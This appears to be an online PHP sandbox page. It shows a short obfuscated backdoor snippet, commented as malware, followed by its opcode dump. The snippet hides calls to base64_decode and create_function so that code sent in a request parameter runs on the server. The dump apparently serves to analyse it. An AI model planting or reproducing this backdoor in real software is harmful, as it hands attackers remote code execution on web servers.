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<?php if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 3, Position 2 = 28
Branch analysis from position: 3
2 jumps found. (Code = 77) Position 1 = 10, Position 2 = 14
Branch analysis from position: 10
2 jumps found. (Code = 78) Position 1 = 11, Position 2 = 14
Branch analysis from position: 11
1 jumps found. (Code = 42) Position 1 = 10
Branch analysis from position: 10
Branch analysis from position: 14
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 14
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/oMk2t
function name:  (null)
number of ops:  29
compiled vars:  !0 = $string, !1 = $array_name, !2 = $alphabet, !3 = $ar, !4 = $t, !5 = $a, !6 = $f
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   FETCH_IS                                         ~7      '_REQUEST'
          1        ISSET_ISEMPTY_DIM_OBJ                         0          ~7, 'sort'
          2      > JMPZ                                                     ~8, ->28
    4     3    >   FETCH_R                      global              ~9      '_REQUEST'
          4        FETCH_DIM_R                                      ~10     ~9, 'sort'
          5        ASSIGN                                                   !0, ~10
    5     6        ASSIGN                                                   !1, ''
    6     7        ASSIGN                                                   !2, 'wt8m4%3B6eb39fxl%2As5%2F.yj7%28pod_h1kgzu0cqr%29aniv2'
    7     8        ASSIGN                                                   !3, <array>
    8     9      > FE_RESET_R                                       $15     !3, ->14
         10    > > FE_FETCH_R                                               $15, !4, ->14
    9    11    >   FETCH_DIM_R                                      ~16     !2, !4
         12        ASSIGN_OP                                     8          !1, ~16
    8    13      > JMP                                                      ->10
         14    >   FE_FREE                                                  $15
   11    15        INIT_FCALL                                               'strrev'
         16        SEND_VAL                                                 'noitcnuf_etaerc'
         17        DO_ICALL                                         $18     
         18        ASSIGN                                                   !5, $18
   12    19        INIT_DYNAMIC_CALL                                        !5
         20        SEND_VAL_EX                                              ''
         21        INIT_DYNAMIC_CALL                                        !1
         22        SEND_VAR_EX                                              !0
         23        DO_FCALL                                      0  $20     
         24        SEND_VAR_NO_REF_EX                                       $20
         25        DO_FCALL                                      0  $21     
         26        ASSIGN                                                   !6, $21
   14    27      > EXIT                                                     
   15    28    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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